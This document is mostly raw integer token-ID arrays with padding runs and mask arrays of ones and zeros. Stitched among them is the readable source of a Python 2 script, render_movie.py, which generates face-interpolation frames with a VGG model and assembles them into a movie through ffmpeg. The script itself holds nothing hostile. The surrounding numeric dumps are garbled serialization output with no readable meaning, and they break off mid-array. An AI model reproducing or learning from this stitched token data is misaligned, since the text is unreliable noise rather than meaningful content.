2966, 2072, 14, 67, 427, 608, 815, 14, 26146, 9, 1598, 367, 282, 769, 402, 286, 427, 608, 1561, 370, 675, 14, 961, 4839, 370, 506, 663, 340, 1598, 445, 8, 1985, 9, 503, 445, 8, 908, 9, 365, 440, 663, 14, 12836, 4260, 642, 1598, 574, 282, 19457, 365, 1415, 367, 652, 370, 5452, 7763, 14, 272, 1331, 63, 1751, 26, 267, 1369, 26, 288, 446, 961, 911, 1331, 314, 1453, 1475, 436, 2909, 1338, 370, 892, 922, 1598, 17390, 436, 314, 336, 14628, 6426, 14, 961, 911, 1454, 1255, 340, 1598, 445, 8, 1985, 395, 445, 8, 908, 9, 503, 445, 8, 2975, 63, 3671, 9, 965, 522, 30355, 315, 282, 1598, 1570, 14, 982, 642, 2112, 7858, 2066, 652, 911, 3544, 754, 315, 282, 1598, 1570, 14, 267, 730, 26, 2155, 267, 849, 26, 283, 889, 7, 199, 2502, 26, 199, 13, 1603, 2181, 290, 699, 16293, 8593, 74, 656, 264, 290, 3129, 9, 199, 2344, 199, 199, 8918, 275, 519, 2344, 199, 3, 2494, 314, 4897, 1475, 370, 20144, 1910, 5703, 24230, 199, 13, 4747, 63, 4551, 26, 272, 1475, 26, 655, 13, 1668, 199, 199, 3, 2494, 314, 4897, 1475, 370, 20144, 437, 22306, 436, 1331, 2202, 370, 892, 17390, 199, 13, 4747, 63, 4551, 26, 272, 1475, 26, 655, 13, 9331, 272, 1331, 63, 1751, 26, 9456, 199, 199, 3, 2494, 314, 2649, 2637, 370, 20144, 598, 8319, 699, 322, 877, 12, 19457, 340, 1415, 199, 13, 4747, 63, 4551, 26, 272, 2649, 63, 3671, 26, 655, 13, 6487, 523, 2274, 26, 754, 199, 199, 13, 4747, 63, 15051, 26, 523, 1380, 26, 754, 14, 10506, 63, 2427, 199, 199, 3, 2494, 314, 2909, 370, 1910, 5703, 24230, 199, 13, 4747, 63, 4551, 26, 272, 2909, 26, 499, 1602, 199, 199, 3, 2494, 1475, 12, 2909, 436, 2649, 370, 20144, 437, 22306, 436, 1331, 2202, 12, 19457, 340, 1415, 199, 13, 4747, 63, 4551, 26, 272, 2909, 26, 3144, 272, 1475, 26, 655, 13, 9331, 272, 2649, 63, 3671, 26, 655, 13, 9331, 523, 2274, 26, 754, 199, 199, 13, 4747, 63, 15051, 26, 523, 1380, 26, 754, 14, 10506, 63, 2427, 199, 2344, 199, 199, 9677, 275, 519, 2344, 199, 10506, 63, 2427, 26, 272, 1369, 26, 7480, 282, 19457, 365, 1415, 367, 314, 1570, 370, 5452, 7763, 272, 2138, 26, 3182, 272, 730, 26, 5046, 272, 2690, 26, 715, 199, 2344, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 199, 3, 1898, 26, 334, 67, 9, 7800, 12, 2622, 12, 12864, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 519, 2344, 199, 578, 26, 4747, 63, 4551, 199, 1023, 63, 3270, 26, 298, 18, 14, 19, 2, 199, 3612, 63, 1802, 26, 2494, 314, 4897, 436, 1475, 2202, 199, 1802, 26, 272, 446, 2494, 314, 2909, 2202, 402, 282, 5417, 7146, 14, 272, 446, 2494, 314, 1475, 2202, 402, 282, 5417, 7146, 14, 272, 446, 2494, 314, 2649, 2637, 2202, 402, 282, 5417, 7146, 14, 272, 446, 11247, 9371, 3520, 2202, 370, 314, 849, 4690, 14, 199, 1419, 26, 272, 2909, 26, 267, 1369, 26, 288, 446, 710, 2909, 370, 663, 367, 314, 1453, 922, 12, 1937, 1598, 738, 8, 2859, 921, 706, 4272, 14, 17040, 14, 957, 15, 287, 13, 527, 15, 4342, 15, 617, 9880, 26010, 14, 26146, 9, 1598, 367, 282, 769, 402, 8875, 12818, 1265, 883, 675, 436, 4052, 2909, 652, 295, 750, 83, 370, 14, 1598, 961, 4839, 370, 506, 663, 340, 445, 8, 908, 9, 503, 445, 8, 2975, 63, 3671, 9, 365, 440, 1598, 663, 14, 272, 1475, 26, 267, 1369, 26, 288, 446, 710, 2637, 1475, 370, 663, 367, 314, 1453, 922, 12, 1937, 1598, 738, 8, 2859, 921, 706, 4272, 14, 17040, 14, 957, 15, 287, 13, 527, 15, 4342, 15, 2253, 14, 2966, 2072, 14, 67, 427, 608, 815, 14, 26146, 9, 1598, 367, 282, 769, 402, 286, 427, 608, 1561, 370, 675, 14, 961, 4839, 370, 506, 663, 340, 1598, 445, 8, 1985, 9, 503, 445, 8, 2975, 63, 3671, 9, 365, 440, 663, 14, 272, 2649, 63, 3671, 26, 267, 1369, 26, 288, 446, 710, 2649, 2637, 1475, 370, 663, 367, 1006, 4390, 12, 1937, 1598, 738, 8, 2859, 921, 706, 4272, 14, 17040, 14, 957, 15, 287, 13, 527, 15, 4342, 15, 2253, 14, 2966, 2072, 14, 67, 427, 608, 815, 14, 26146, 9, 1598, 367, 282, 769, 402, 286, 427, 608, 1561, 370, 675, 14, 961, 4839, 370, 506, 663, 340, 1598, 445, 8, 1985, 9, 503, 445, 8, 908, 9, 365, 440, 663, 14, 12836, 4260, 642, 1598, 574, 282, 19457, 365, 1415, 367, 652, 370, 5452, 7763, 14, 272, 1331, 63, 1751, 26, 267, 1369, 26, 288, 446, 961, 911, 1331, 314, 1453, 1475, 436, 2909, 1338, 370, 892, 922, 1598, 17390, 436, 314, 336, 14628, 6426, 14, 961, 911, 1454, 1255, 340, 1598, 445, 8, 1985, 395, 445, 8, 908, 9, 503, 445, 8, 2975, 63, 3671, 9, 965, 522, 30355, 315, 282, 1598, 1570, 14, 982, 642, 2112, 7858, 2066, 652, 911, 3544, 754, 315, 282, 1598, 1570, 14, 267, 730, 26, 2155, 267, 849, 26, 283, 889, 7, 199, 2502, 26, 199, 13, 1603, 2181, 290, 699, 16293, 8593, 74, 656, 264, 290, 3129, 9, 199, 2344, 199, 199, 8918, 275, 519, 2344, 199, 3, 2494, 314, 4897, 1475, 370, 20144, 1910, 5703, 24230, 199, 13, 4747, 63, 4551, 26, 272, 1475, 26, 655, 13, 1668, 199, 199, 3, 2494, 314, 4897, 1475, 370, 20144, 437, 22306, 436, 1331, 2202, 370, 892, 17390, 199, 13, 4747, 63, 4551, 26, 272, 1475, 26, 655, 13, 9331, 272, 1331, 63, 1751, 26, 9456, 199, 199, 3, 2494, 314, 2649, 2637, 370, 20144, 598, 8319, 699, 322, 877, 12, 19457, 340, 1415, 199, 13, 4747, 63, 4551, 26, 272, 2649, 63, 3671, 26, 655, 13, 6487, 523, 2274, 26, 754, 199, 199, 13, 4747, 63, 15051, 26, 523, 1380, 26, 754, 14, 10506, 63, 2427, 199, 199, 3, 2494, 314, 2909, 370, 1910, 5703, 24230, 199, 13, 4747, 63, 4551, 26, 272, 2909, 26, 499, 1602, 199, 199, 3, 2494, 1475, 12, 2909, 436, 2649, 370, 20144, 437, 22306, 436, 1331, 2202, 12, 19457, 340, 1415, 199, 13, 4747, 63, 4551, 26, 272, 2909, 26, 3144, 272, 1475, 26, 655, 13, 9331, 272, 2649, 63, 3671, 26, 655, 13, 9331, 523, 2274, 26, 754, 199, 199, 13, 4747, 63, 15051, 26, 523, 1380, 26, 754, 14, 10506, 63, 2427, 199, 2344, 199, 199, 9677, 275, 519, 2344, 199, 10506, 63, 2427, 26, 272, 1369, 26, 7480, 282, 19457, 365, 1415, 367, 314, 1570, 370, 5452, 7763, 272, 2138, 26, 3182, 272, 730, 26, 5046, 272, 2690, 26, 715, 199, 2344, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
paulu/deepfeatinterp
render_movie.py
1
4264
#!/usr/bin/env python2 from __future__ import division from __future__ import with_statement from __future__ import print_function import time import numpy import deepmodels import json import os.path import argparse import subprocess import pipes import alignface import imageutils import utils if __name__=='__main__': # configure by command-line arguments parser=argparse.ArgumentParser(description='Generate high resolution face transformations.',formatter_class=argparse.ArgumentDefaultsHelpFormatter) parser.add_argument('input',type=str,help='input color image') parser.add_argument('data',type=str,help='input data file (produced by --extradata)') parser.add_argument('start_delta',type=float,help='initial interpolation step') parser.add_argument('stop_delta',type=float,help='maximum interpolation step') parser.add_argument('delta_step',type=float,help='change in interpolation step per frame') parser.add_argument('step_iter',type=int,help='number of reconstruction iterations for subsequent frames') parser.add_argument('--backend',type=str,default='torch',choices=['torch','caffe+scipy'],help='reconstruction implementation') parser.add_argument('--device_id',type=int,default=0,help='zero-indexed CUDA device') parser.add_argument('--iter',type=int,default=500,help='number of reconstruction iterations for the first frame') parser.add_argument('--postprocess',type=str,default='mask',help='comma-separated list of postprocessing operations') parser.add_argument('--output_format',type=str,default='mp4',choices=['mkv','mp4','mov'],help='output movie format') parser.add_argument('--comment',type=str,default='',help='the comment is appended to the output filename') config=parser.parse_args() postprocess=set(config.postprocess.split(',')) postfix_comment='_'+config.comment if config.comment else '' print(json.dumps(config.__dict__)) # args: original datafile initial_delta stepsize startframe endframe device_id1 device_id2 ipath1=config.input assert os.path.exists(ipath1) ipath2=config.data assert os.path.exists(ipath2) delta0=config.start_delta delta1=config.stop_delta assert 0<=delta0 assert delta0<=delta1 ddelta=config.delta_step assert ddelta>0 # load models if config.backend=='torch': import deepmodels_torch model=deepmodels_torch.vgg19g_torch(device_id=config.device_id) elif config.backend=='caffe+scipy': model=deepmodels.vgg19g(device_id=config.device_id) else: raise ValueError('Unknown backend') # load interpolation data original=imageutils.read(ipath1) XF=model.mean_F([original]) prefix_path=os.path.splitext(ipath1)[0] if not os.path.exists(prefix_path+postfix_comment): os.mkdir(prefix_path+postfix_comment) # debug X_mask=prefix_path+'-mask.png' if 'mask' in postprocess and os.path.exists(X_mask): mask=imageutils.resize(imageutils.read(X_mask),image_dims) data=numpy.load(ipath2) if 'WF' in data: WF=data['WF'] elif 'muQ' in data and 'muP' in data: WF=data['muQ']-data['muP'] # generate frames t0=time.time() max_iter=config.iter init=original i=0 delta=delta0 while delta<=delta1: print('Starting frame #{:06}, {}'.format(i+1,(time.time()-t0)/60.0)) result=model.F_inverse(XF+WF*delta,max_iter=max_iter,initial_image=init) max_iter=config.step_iter init=result i=i+1 delta=delta+ddelta if 'mask' in postprocess and os.path.exists(X_mask): result*=mask result+=original*(1-mask) if 'color' in postprocess: result=utils.color_match(numpy.asarray([original]),numpy.asarray([[result]]))[0,0] if 'mask' in postprocess and os.path.exists(X_mask): result*=mask result+=original*(1-mask) imageutils.write(prefix_path+postfix_comment+'/{:06}.png'.format(i),result) # generate movie cmd=['ffmpeg','-y','-f','image2','-i',prefix_path+postfix_comment+'/%06d.png','-crf','19','-g','60','-r','30','-s','{}x{}'.format(original.shape[1],original.shape[0]),'-pix_fmt','yuv420p',prefix_path+postfix_comment+'_movie.{}'.format(config.output_format)] print(' '.join(pipes.quote(x) for x in cmd)) subprocess.check_call(cmd) print('Output is {}'.format(prefix_path+postfix_comment+'_movie.{}'.format(config.output_format)))
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 18, 199, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 543, 63, 6242, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 900, 199, 646, 2680, 199, 646, 13217, 992, 199, 646, 2022, 199, 646, 747, 14, 515, 199, 646, 7534, 199, 646, 3873, 199, 646, 20988, 199, 646, 6998, 1409, 199, 646, 1834, 1208, 199, 646, 3778, 199, 199, 692, 636, 354, 363, 6803, 363, 973, 3706, 523, 327, 7908, 701, 1414, 13, 604, 2368, 523, 1798, 29, 18978, 14, 10730, 8, 1802, 534, 6864, 4721, 12401, 8870, 25947, 3130, 8911, 63, 533, 29, 18978, 14, 5201, 16986, 22779, 9, 523, 1798, 14, 525, 63, 2094, 360, 1210, 297, 466, 29, 495, 12, 3437, 534, 1210, 3164, 1834, 358, 523, 1798, 14, 525, 63, 2094, 360, 576, 297, 466, 29, 495, 12, 3437, 534, 1210, 666, 570, 334, 7832, 68, 701, 1553, 2911, 576, 5942, 523, 1798, 14, 525, 63, 2094, 360, 928, 63, 3136, 297, 466, 29, 1609, 12, 3437, 534, 2747, 14046, 3650, 358, 523, 1798, 14, 525, 63, 2094, 360, 2379, 63, 3136, 297, 466, 29, 1609, 12, 3437, 534, 11555, 14046, 3650, 358, 523, 1798, 14, 525, 63, 2094, 360, 3136, 63, 2926, 297, 466, 29, 1609, 12, 3437, 534, 1461, 315, 14046, 3650, 1126, 2787, 358, 523, 1798, 14, 525, 63, 2094, 360, 2926, 63, 1661, 297, 466, 29, 442, 12, 3437, 534, 1955, 402, 295, 12708, 10615, 367, 13372, 11223, 358, 523, 1798, 14, 525, 63, 2094, 4517, 4620, 297, 466, 29, 495, 12, 885, 534, 29676, 297, 4577, 2968, 29676, 1673, 18260, 11, 14248, 995, 3437, 534, 264, 12708, 4514, 358, 523, 1798, 14, 525, 63, 2094, 4517, 1782, 63, 344, 297, 466, 29, 442, 12, 885, 29, 16, 12, 3437, 534, 4262, 13, 16821, 445, 3383, 33, 2243, 358, 523, 1798, 14, 525, 63, 2094, 4517, 1661, 297, 466, 29, 442, 12, 885, 29, 5783, 12, 3437, 534, 1955, 402, 295, 12708, 10615, 367, 314, 1642, 2787, 358, 523, 1798, 14, 525, 63, 2094, 4517, 32238, 297, 466, 29, 495, 12, 885, 534, 2629, 297, 3437, 534, 13184, 13, 12794, 769, 402, 2963, 6338, 5331, 358, 523, 1798, 14, 525, 63, 2094, 4517, 1199, 63, 908, 297, 466, 29, 495, 12, 885, 534, 311, 20, 297, 4577, 2968, 30420, 1673, 311, 20, 1673, 14469, 995, 3437, 534, 1199, 14360, 1475, 358, 523, 1798, 14, 525, 63, 2094, 4517, 3349, 297, 466, 29, 495, 12, 885, 4581, 3437, 534, 1589, 3721, 365, 11544, 370, 314, 1072, 1788, 358, 523, 1101, 29, 2087, 14, 1122, 63, 589, 342, 523, 2963, 1412, 29, 409, 8, 888, 14, 32238, 14, 1294, 5102, 1333, 523, 31478, 63, 3349, 17574, 6828, 888, 14, 3349, 340, 1101, 14, 3349, 587, 2125, 523, 870, 8, 1001, 14, 4180, 8, 888, 855, 807, 8964, 819, 327, 1249, 26, 3379, 666, 493, 2536, 63, 3136, 3650, 890, 1343, 1943, 1284, 1943, 2243, 63, 344, 17, 2243, 63, 344, 18, 523, 284, 515, 17, 29, 888, 14, 1210, 523, 702, 747, 14, 515, 14, 2444, 8, 73, 515, 17, 9, 523, 284, 515, 18, 29, 888, 14, 576, 523, 702, 747, 14, 515, 14, 2444, 8, 73, 515, 18, 9, 523, 5762, 16, 29, 888, 14, 928, 63, 3136, 523, 5762, 17, 29, 888, 14, 2379, 63, 3136, 523, 702, 378, 12932, 3136, 16, 523, 702, 5762, 16, 12932, 3136, 17, 523, 366, 3136, 29, 888, 14, 3136, 63, 2926, 523, 702, 366, 3136, 30, 16, 819, 327, 2248, 1709, 523, 340, 1101, 14, 4620, 6803, 29676, 356, 272, 492, 13217, 992, 63, 29676, 272, 1402, 29, 16131, 992, 63, 29676, 14, 27948, 1167, 71, 63, 29676, 8, 1782, 63, 344, 29, 888, 14, 1782, 63, 344, 9, 523, 916, 1101, 14, 4620, 6803, 18260, 11, 14248, 356, 272, 1402, 29, 16131, 992, 14, 27948, 1167, 71, 8, 1782, 63, 344, 29, 888, 14, 1782, 63, 344, 9, 523, 587, 26, 272, 746, 1722, 360, 5912, 4865, 358, 819, 327, 2248, 14046, 666, 523, 3379, 29, 1569, 1208, 14, 739, 8, 73, 515, 17, 9, 523, 1323, 38, 29, 1238, 14, 3670, 63, 38, 779, 5043, 566, 523, 2403, 63, 515, 29, 736, 14, 515, 14, 7973, 8, 73, 515, 17, 2788, 16, 61, 523, 340, 440, 747, 14, 515, 14, 2444, 8, 1861, 63, 515, 11, 24791, 63, 3349, 304, 747, 14, 8215, 8, 1861, 63, 515, 11, 24791, 63, 3349, 9, 327, 3105, 523, 1323, 63, 2629, 29, 1861, 63, 515, 4786, 13, 2629, 14, 4524, 7, 523, 340, 283, 2629, 7, 315, 2963, 1412, 436, 747, 14, 515, 14, 2444, 8, 56, 63, 2629, 304, 272, 3656, 29, 1569, 1208, 14, 8709, 8, 1569, 1208, 14, 739, 8, 56, 63, 2629, 395, 1569, 63, 5380, 9, 523, 666, 29, 4714, 14, 912, 8, 73, 515, 18, 9, 523, 340, 283, 29046, 7, 315, 666, 26, 272, 644, 38, 29, 576, 459, 29046, 418, 523, 916, 283, 6553, 49, 7, 315, 666, 436, 283, 6553, 48, 7, 315, 666, 26, 272, 644, 38, 29, 576, 459, 6553, 49, 418, 13, 576, 459, 6553, 48, 418, 819, 327, 3550, 11223, 523, 307, 16, 29, 521, 14, 521, 342, 523, 1390, 63, 1661, 29, 888, 14, 1661, 523, 4205, 29, 5043, 523, 284, 29, 16, 523, 5762, 29, 3136, 16, 523, 1830, 5762, 12932, 3136, 17, 26, 272, 870, 360, 14139, 2787, 327, 28476, 1690, 1386, 9499, 908, 8, 73, 11, 17, 12803, 521, 14, 521, 22251, 84, 16, 2447, 2259, 14, 16, 430, 272, 754, 29, 1238, 14, 38, 63, 11668, 8, 25145, 11, 29046, 10, 3136, 12, 988, 63, 1661, 29, 988, 63, 1661, 12, 2747, 63, 1569, 29, 826, 9, 272, 1390, 63, 1661, 29, 888, 14, 2926, 63, 1661, 272, 4205, 29, 1099, 272, 284, 29, 73, 11, 17, 272, 5762, 29, 3136, 11, 68, 3136, 272, 340, 283, 2629, 7, 315, 2963, 1412, 436, 747, 14, 515, 14, 2444, 8, 56, 63, 2629, 304, 489, 754, 10, 29, 2629, 489, 754, 10365, 5043, 5830, 17, 13, 2629, 9, 272, 340, 283, 2326, 7, 315, 2963, 1412 ]
[ 2647, 15, 1393, 15, 1813, 2366, 18, 199, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 543, 63, 6242, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 646, 900, 199, 646, 2680, 199, 646, 13217, 992, 199, 646, 2022, 199, 646, 747, 14, 515, 199, 646, 7534, 199, 646, 3873, 199, 646, 20988, 199, 646, 6998, 1409, 199, 646, 1834, 1208, 199, 646, 3778, 199, 199, 692, 636, 354, 363, 6803, 363, 973, 3706, 523, 327, 7908, 701, 1414, 13, 604, 2368, 523, 1798, 29, 18978, 14, 10730, 8, 1802, 534, 6864, 4721, 12401, 8870, 25947, 3130, 8911, 63, 533, 29, 18978, 14, 5201, 16986, 22779, 9, 523, 1798, 14, 525, 63, 2094, 360, 1210, 297, 466, 29, 495, 12, 3437, 534, 1210, 3164, 1834, 358, 523, 1798, 14, 525, 63, 2094, 360, 576, 297, 466, 29, 495, 12, 3437, 534, 1210, 666, 570, 334, 7832, 68, 701, 1553, 2911, 576, 5942, 523, 1798, 14, 525, 63, 2094, 360, 928, 63, 3136, 297, 466, 29, 1609, 12, 3437, 534, 2747, 14046, 3650, 358, 523, 1798, 14, 525, 63, 2094, 360, 2379, 63, 3136, 297, 466, 29, 1609, 12, 3437, 534, 11555, 14046, 3650, 358, 523, 1798, 14, 525, 63, 2094, 360, 3136, 63, 2926, 297, 466, 29, 1609, 12, 3437, 534, 1461, 315, 14046, 3650, 1126, 2787, 358, 523, 1798, 14, 525, 63, 2094, 360, 2926, 63, 1661, 297, 466, 29, 442, 12, 3437, 534, 1955, 402, 295, 12708, 10615, 367, 13372, 11223, 358, 523, 1798, 14, 525, 63, 2094, 4517, 4620, 297, 466, 29, 495, 12, 885, 534, 29676, 297, 4577, 2968, 29676, 1673, 18260, 11, 14248, 995, 3437, 534, 264, 12708, 4514, 358, 523, 1798, 14, 525, 63, 2094, 4517, 1782, 63, 344, 297, 466, 29, 442, 12, 885, 29, 16, 12, 3437, 534, 4262, 13, 16821, 445, 3383, 33, 2243, 358, 523, 1798, 14, 525, 63, 2094, 4517, 1661, 297, 466, 29, 442, 12, 885, 29, 5783, 12, 3437, 534, 1955, 402, 295, 12708, 10615, 367, 314, 1642, 2787, 358, 523, 1798, 14, 525, 63, 2094, 4517, 32238, 297, 466, 29, 495, 12, 885, 534, 2629, 297, 3437, 534, 13184, 13, 12794, 769, 402, 2963, 6338, 5331, 358, 523, 1798, 14, 525, 63, 2094, 4517, 1199, 63, 908, 297, 466, 29, 495, 12, 885, 534, 311, 20, 297, 4577, 2968, 30420, 1673, 311, 20, 1673, 14469, 995, 3437, 534, 1199, 14360, 1475, 358, 523, 1798, 14, 525, 63, 2094, 4517, 3349, 297, 466, 29, 495, 12, 885, 4581, 3437, 534, 1589, 3721, 365, 11544, 370, 314, 1072, 1788, 358, 523, 1101, 29, 2087, 14, 1122, 63, 589, 342, 523, 2963, 1412, 29, 409, 8, 888, 14, 32238, 14, 1294, 5102, 1333, 523, 31478, 63, 3349, 17574, 6828, 888, 14, 3349, 340, 1101, 14, 3349, 587, 2125, 523, 870, 8, 1001, 14, 4180, 8, 888, 855, 807, 8964, 819, 327, 1249, 26, 3379, 666, 493, 2536, 63, 3136, 3650, 890, 1343, 1943, 1284, 1943, 2243, 63, 344, 17, 2243, 63, 344, 18, 523, 284, 515, 17, 29, 888, 14, 1210, 523, 702, 747, 14, 515, 14, 2444, 8, 73, 515, 17, 9, 523, 284, 515, 18, 29, 888, 14, 576, 523, 702, 747, 14, 515, 14, 2444, 8, 73, 515, 18, 9, 523, 5762, 16, 29, 888, 14, 928, 63, 3136, 523, 5762, 17, 29, 888, 14, 2379, 63, 3136, 523, 702, 378, 12932, 3136, 16, 523, 702, 5762, 16, 12932, 3136, 17, 523, 366, 3136, 29, 888, 14, 3136, 63, 2926, 523, 702, 366, 3136, 30, 16, 819, 327, 2248, 1709, 523, 340, 1101, 14, 4620, 6803, 29676, 356, 272, 492, 13217, 992, 63, 29676, 272, 1402, 29, 16131, 992, 63, 29676, 14, 27948, 1167, 71, 63, 29676, 8, 1782, 63, 344, 29, 888, 14, 1782, 63, 344, 9, 523, 916, 1101, 14, 4620, 6803, 18260, 11, 14248, 356, 272, 1402, 29, 16131, 992, 14, 27948, 1167, 71, 8, 1782, 63, 344, 29, 888, 14, 1782, 63, 344, 9, 523, 587, 26, 272, 746, 1722, 360, 5912, 4865, 358, 819, 327, 2248, 14046, 666, 523, 3379, 29, 1569, 1208, 14, 739, 8, 73, 515, 17, 9, 523, 1323, 38, 29, 1238, 14, 3670, 63, 38, 779, 5043, 566, 523, 2403, 63, 515, 29, 736, 14, 515, 14, 7973, 8, 73, 515, 17, 2788, 16, 61, 523, 340, 440, 747, 14, 515, 14, 2444, 8, 1861, 63, 515, 11, 24791, 63, 3349, 304, 747, 14, 8215, 8, 1861, 63, 515, 11, 24791, 63, 3349, 9, 327, 3105, 523, 1323, 63, 2629, 29, 1861, 63, 515, 4786, 13, 2629, 14, 4524, 7, 523, 340, 283, 2629, 7, 315, 2963, 1412, 436, 747, 14, 515, 14, 2444, 8, 56, 63, 2629, 304, 272, 3656, 29, 1569, 1208, 14, 8709, 8, 1569, 1208, 14, 739, 8, 56, 63, 2629, 395, 1569, 63, 5380, 9, 523, 666, 29, 4714, 14, 912, 8, 73, 515, 18, 9, 523, 340, 283, 29046, 7, 315, 666, 26, 272, 644, 38, 29, 576, 459, 29046, 418, 523, 916, 283, 6553, 49, 7, 315, 666, 436, 283, 6553, 48, 7, 315, 666, 26, 272, 644, 38, 29, 576, 459, 6553, 49, 418, 13, 576, 459, 6553, 48, 418, 819, 327, 3550, 11223, 523, 307, 16, 29, 521, 14, 521, 342, 523, 1390, 63, 1661, 29, 888, 14, 1661, 523, 4205, 29, 5043, 523, 284, 29, 16, 523, 